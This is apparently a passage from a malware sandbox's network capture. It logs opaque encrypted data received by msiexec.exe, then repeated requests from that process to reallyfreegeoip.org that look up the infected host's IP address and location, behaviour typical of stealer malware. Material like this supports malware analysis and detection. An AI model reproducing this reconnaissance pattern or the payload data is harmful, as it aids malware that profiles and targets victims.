2024-10-14 07:12:10 UTC	1390	IN	Data Raw: 9d 93 90 2c 52 c6 3f 47 38 55 a1 ea a2 db 7d 55 a7 db d7 52 c7 dd 47 37 41 dc d2 d0 fa 27 b9 45 87 04 f0 c5 d0 cb ec 47 89 49 36 d7 0c 3c 3d 1d 63 80 3e dd f8 e0 66 7a 2a 94 0e 9e ef d9 b6 e2 bf c9 90 98 6c 98 69 e0 56 7c 7f 19 43 84 ed b4 f3 14 26 84 9e e0 8a c5 77 41 55 9b 1c b9 6d 51 00 96 03 74 38 7c eb df 8b 4b 5e 81 cd d4 78 03 a4 64 f2 e1 49 52 bd b3 27 67 7a a5 2a 64 3d 9d aa e4 94 a3 63 a3 2b 8e b6 83 2a cc a4 0f 1f f1 75 d0 61 df db 48 e8 8a d9 91 ef 7e 75 21 50 78 de 3b 24 c6 65 c1 44 37 1d 98 de bb 78 d7 a2 0c 38 d6 a3 62 72 f8 3c 9a f5 c6 4e 1d 64 d4 d6 85 00 04 02 98 58 ba 09 08 a4 5e 04 be de 02 81 6b 13 73 57 f3 e1 0e 61 75 0f 99 94 84 0b 62 36 1f 05 e4 90 10 42 5a 5a 8b d1 70 51 59 c5 1f bd d2 e0 65 32 7a 9d 33 7c 7e 3d 0b e6 9a be ef da Data Ascii: ,R?G8U}URG7A'EGI6<=c>fzliV\|C&wAUmQt8\|K^xdIR'gzd=c+*uaH~u!Px;$eD7x8br<NdX^ksWaub6BZZpQYe2z3\|~=
2024-10-14 07:12:10 UTC	1390	IN	Data Raw: c1 cc 91 61 ea d5 f2 43 b3 56 75 d0 0d ee 6a b5 9b 08 45 9d 00 97 7c d5 47 e8 e2 e1 44 5c 0c e0 b0 3e 11 85 1e 25 24 ea ac 18 d1 84 a5 5f d2 54 74 66 8a b3 ca db dd c5 d8 b2 d4 9f 38 99 6c 6e 93 3b fa 49 3d 9d dc df 9a 2f b4 94 d4 8d 55 f2 f3 e1 70 79 96 c0 12 59 04 f6 1b 49 17 2d 51 1b 61 b8 f8 86 0d a8 df a7 2d 6f b2 45 55 6f 95 89 bd c7 3b c0 bc b8 63 5f c5 85 f1 d5 a6 2e c6 eb 0d b3 26 25 1b ab 95 ef 9c 0f ac cc 40 2f 49 ea 89 d0 28 a0 0e 57 77 e6 2a c1 33 ae 4e a3 81 e8 43 52 5c b3 86 75 b9 c5 d4 98 24 5f a3 13 1e 03 64 fa 8a 5b 84 15 eb 76 57 98 a3 95 c4 f8 33 20 f0 52 19 49 c0 7d d8 cb 00 ee b9 60 0d 49 fe c4 bf d9 a2 49 ca 7d e3 d3 eb e4 75 c5 a2 ee 15 e9 39 48 0b 73 83 00 42 b6 ba 98 d3 81 8b 4f 5f eb ad e7 21 aa 24 4f 10 24 28 58 f7 54 51 e3 6d Data Ascii: aCVujE\|GD\>%$_Ttf8ln;I=/UpyYI-Qa-oEUo;c_.&%@/I(Ww*3NCR\u$_d[vW3 RI}`II}u9HsBO_!$O$(XTQm
2024-10-14 07:12:10 UTC	1390	IN	Data Raw: 48 dc ca 51 b7 c0 ab b1 51 2e c4 d3 e1 ea 08 04 f2 c3 af 6d 1b 91 af ee 92 32 74 2d af 20 16 a6 6f 60 68 f9 e1 99 38 ba 65 f7 2e 23 0f 37 50 fb 8b 44 d1 38 f3 ba 70 c0 c2 a3 83 a8 c2 76 d7 cb 5b 82 1c aa e9 53 09 bf ed 24 4b 6e 0c 80 14 82 88 7e 32 2f 96 6a d3 04 bc a7 e6 7b f1 aa b8 27 b2 bf 68 41 7d 71 44 65 8f c1 ce 22 ba 22 24 0f a7 d5 a3 26 fc 14 66 d2 5f cc 68 f9 98 5d a1 67 29 11 3e 4b 0a 11 cd 09 69 a1 7e 9c 63 5e 78 eb 91 f6 e6 8d 5d b5 b2 7c f0 66 02 45 31 8a 73 24 63 cb da 7c 9d 3e ad fe de 7c ae 4c 87 62 fe 8e 82 2e 5a a3 64 5c 0e 2a dc e4 32 b9 7e f7 b7 25 c1 8f 76 0b f6 46 4d b5 15 04 99 84 6c e7 b8 15 90 6a 1d 7b f9 ab f8 0c ff 3b ac 3a 04 93 00 75 83 fb 19 f1 09 db 23 81 c4 7f 0c 7a 35 18 f0 aa a4 ce c1 1e fb 09 6e ae d5 41 24 44 96 97 f4 Data Ascii: HQQ.m2t- o`h8e.#7PD8pv[S$Kn~2/j{'hA}qDe""$&f_h]g)>Ki~c^x]\|fE1s$c\|>\|Lb.Zd\*2~%vFMlj{;:u#z5nA$D
2024-10-14 07:12:10 UTC	1390	IN	Data Raw: e5 2a e9 ad c4 9e ba 9a 29 46 8f 5e 61 e1 08 ab e1 01 9f 86 e3 a2 87 98 03 0f fd 87 8b 09 75 31 1b 07 7d 6d de 4e 55 f4 e3 2a de 91 69 67 95 da 85 3b 62 8d 3d 93 95 a9 7f 22 3a 97 f5 73 b1 c5 29 db f0 76 5a 15 3c ee 06 e7 9c 68 f3 5f b5 07 16 6d 34 dc 4f c4 db 5f 9b 19 93 6a 2d 96 63 bc 09 3a 6b a0 05 91 d2 a4 cf 9d 1c b8 fc cb 5e 4f 12 6a ad 9f 7f 08 d7 63 13 ad 2b d0 f8 8b 78 d1 5a 13 87 ba 9b 1f 4c e3 d7 d7 06 e4 34 87 29 eb 9b 9d 28 88 94 e2 90 01 0e a3 a7 d5 58 0e 83 d4 62 9f fb ff 88 8e a9 1f 11 fc 36 2a 5b 10 31 8a bd e0 2d 4a ec 0d ac 79 fd 61 5b 90 6a 62 3b fe b9 35 4c b8 14 b4 5a 40 00 ff be 2a 02 66 69 5f 13 18 45 d9 b1 02 db 60 cb 13 29 8a b0 45 69 28 60 e7 c6 7a 7e 71 e5 d4 7d af 6d 8a 83 6c 28 90 31 86 da 82 36 9a 15 5e 16 5d b3 73 73 46 1c Data Ascii: )F^au1}mNUig;b=":s)vZ<h_m4O_j-c:k^Ojc+xZL4)(Xb6[1-Jya[jb;5LZ@fi_E`)Ei(`z~q}ml(16^]ssF
2024-10-14 07:12:10 UTC	1390	IN	Data Raw: 16 71 6a ad 92 1c 86 d3 08 5f d0 1f 7f 74 e5 1a 16 f9 dd 29 8d 54 ad fa 7a 17 ed 02 fe e3 76 e2 ee f1 84 3e 12 22 ec 5f f8 79 ce 52 52 40 f5 90 4e c5 be 97 a9 78 cf a3 ec af e2 81 ef 4b 57 fe 24 1c 09 8d ef e5 d2 87 f9 d4 c2 1e 38 c3 94 b8 c8 1a dc 3a 25 72 45 84 86 ee 50 5f 81 fd 61 83 80 58 d1 c3 17 95 c7 04 b6 e5 65 06 f7 c1 cf 55 ce c1 b4 01 aa 40 f1 95 e6 30 2a 8f 95 ac 52 b7 a5 bd 61 b5 da 83 18 0e d5 fc d0 f1 17 11 21 29 04 11 b3 94 a9 0f 55 49 e0 64 ce f9 43 b3 3a 22 14 b8 79 51 57 15 ea a6 73 fa 6c cd 19 a6 5d b7 0f cd 67 58 a2 e0 bf a6 23 1b 6a 8e 57 d0 4b 90 bb 4e 63 b7 21 64 33 1e 38 ef 9a 5a e5 2e 7f f8 90 ce f0 7a 8c 7c ea 8f 11 c6 40 90 d0 90 9c 6c 98 69 31 ba 66 0d 28 53 8c e3 27 db 61 22 f6 c3 f1 a8 a3 49 1f d4 9b 16 b3 5b af 0d 85 0a 4d Data Ascii: qj_t)Tzv>"_yRR@NxKW$8:%rEP_aXeU@0*Ra!)UIdC:"yQWsl]gX#jWKNc!d38Z.z\|@li1f(S'a"I[M
2024-10-14 07:12:10 UTC	1390	IN	Data Raw: f9 84 0c 1a 7d 11 57 6e ab fe 23 e7 9e 40 1a 77 ed 8e 73 81 fd de c1 30 e4 60 98 de e7 c8 17 bd 56 44 64 35 18 29 0f 01 a8 4f fe 2f fd 77 64 b9 17 c8 d8 15 2d 61 3f 11 7f b7 87 95 4c 66 d8 e5 a1 19 c3 68 20 7e 5e e5 47 74 63 a1 a9 fa e5 3d 70 14 cf 94 ed a9 64 9f 26 d0 a2 bf 69 1f a7 8a ae 19 ad f4 fd 9c 42 74 9f 3f 9f 7c b2 25 3a 94 77 23 d2 e1 ed 71 6e 1c ab f6 2d 26 c2 b5 fe e3 8c bc bd 4d fe 52 2c 7f e7 15 ef d8 d9 bb b5 87 de d3 f3 64 8a e0 85 d7 e9 f9 f6 e4 d0 f2 4a 93 06 82 e1 9c 41 23 58 0d ee 64 64 77 10 37 e9 1c 9f 72 46 62 f1 98 ab 13 5e 08 32 83 0c e2 be 1d 2f 42 b6 88 10 a6 b5 ac 73 da e7 59 6d 97 41 dc db a7 67 f0 ec df 9f 23 82 5c 7f 18 3b fa 47 4f b1 de d7 94 63 30 83 d0 d5 f1 5e f3 eb 15 a6 b1 c0 18 73 15 fe 65 32 83 2d 55 67 5a b8 f8 71 Data Ascii: }Wn#@ws0`VDd5)O/wd-a?Lfh ~^Gtc=pd&iBt?\|%:w#qn-&MR,dJA#Xddw7rFb^2/BsYmAg#\;GOc0^se2-UgZq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49750	188.114.96.3	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:12 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-14 07:12:12 UTC	708	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24008 Last-Modified: Mon, 14 Oct 2024 00:32:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ZLdXr2C1hR16QymoYuGQQYZoGOW%2BmWvHkFM2ntR4QF5XSXaY%2F5MwoYflR%2BnXxW2ISYBGewWXEIaicxBnHZNM29AqVOgChmpEOH6QyKy%2BiiKlZdpjFhX9klOdHgJmhxLmQ8jqRPj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d25c27f0bb10f6b-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 07:12:12 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-14 07:12:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49756	188.114.96.3	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:13 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-14 07:12:13 UTC	708	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24009 Last-Modified: Mon, 14 Oct 2024 00:32:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pmik0iEcsCiLPZ1EuLEtFOml%2BCMK5CO56nSl9cz%2Bh6%2BXBdMMFK1KiyR0oNM0YyqlB6W4MMvgJiYQJlalL2oNNIBuZA7Gps5hTwlzHojJUFLnzRe5Y0DzodHA5v5sRzAN1j%2BVja3a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d25c2841aa8423f-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 07:12:13 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-14 07:12:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49768	188.114.96.3	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:14 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-14 07:12:14 UTC	706	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24010 Last-Modified: Mon, 14 Oct 2024 00:32:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EOAxPDiF8G3i5wW7lCZGMwY9VO1SULDMZGI2ZgbtkUa9lARCbq%2FD8ftPspl2OkxT5Jwl9NQWX5skaK3mjbe3W8JR%2FhvLWGxRBMI%2BrXIFMQamFRNMLW0gmEgT8WYJpNuauhiaaXD1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d25c28b3bba440c-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 07:12:14 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-14 07:12:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49775	188.114.96.3	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:15 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-14 07:12:15 UTC	704	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:15 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24011 Last-Modified: Mon, 14 Oct 2024 00:32:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kg9M1V114RUdW2%2B0jm0c2GgIE1oVORHL23HiRIQanhy4dFJMZ0L4ESPAnfQY1GgPtlM5yx4chwJQeekf3qqpa3STrukMaFAo%2B9Ao0qbgZ0u3K7HHZHoYSfHM1jRPici6zmgGFdlh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d25c2924c3942ea-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 07:12:15 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-14 07:12:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49783	188.114.96.3	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:16 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-14 07:12:16 UTC	702	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24012 Last-Modified: Mon, 14 Oct 2024 00:32:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=STbqBrUO3PgTCHVuchUiElEjye96ojTpmqqzXYkOD8c5FrcwbQBlAMn%2BcjbmAGGqDfQ1YOz0M4Ix8LbFvcUU7hDg3vvPWV4cCGLbP5uwBabaZavetv0JrGCkPWW0kyPUFCoUk3kM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d25c2997aab0f6b-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 07:12:16 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-14 07:12:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49794	188.114.96.3	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:17 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-14 07:12:18 UTC	704	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24013 Last-Modified: Mon, 14 Oct 2024 00:32:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ETyN1EKPGGdtDJRU9o2DSQdYMRU6jPpeTNoFDF6WuMe7gwA7d2hhyaAZWaSPIQodZrJdy73cUnd77lcD%2BjKOXNj%2BEUftKAO7yNNHTxI21Gg1BotmhfAhzjdCoXhnJAAbdpW5UY50"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d25c2a06ad142b5-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 07:12:18 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-14 07:12:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49802	188.114.96.3	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:18 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-14 07:12:19 UTC	708	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24015 Last-Modified: Mon, 14 Oct 2024 00:32:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cF%2FGqMGBCsquedqi5LFtLoa7JlPat97DwH4mKMBD7O6HAXS9xn%2FB0Gau2cbRD9mnX8zwSHaQq8H7kLHPF%2BE1dalTRfM0MzrfoJjGCpoXIJspcjCpDY3xRc3K1l%2FRxXpMFVyR1eQ0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d25c2a72bba42a3-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 07:12:19 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-14 07:12:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49812	188.114.96.3	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:20 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
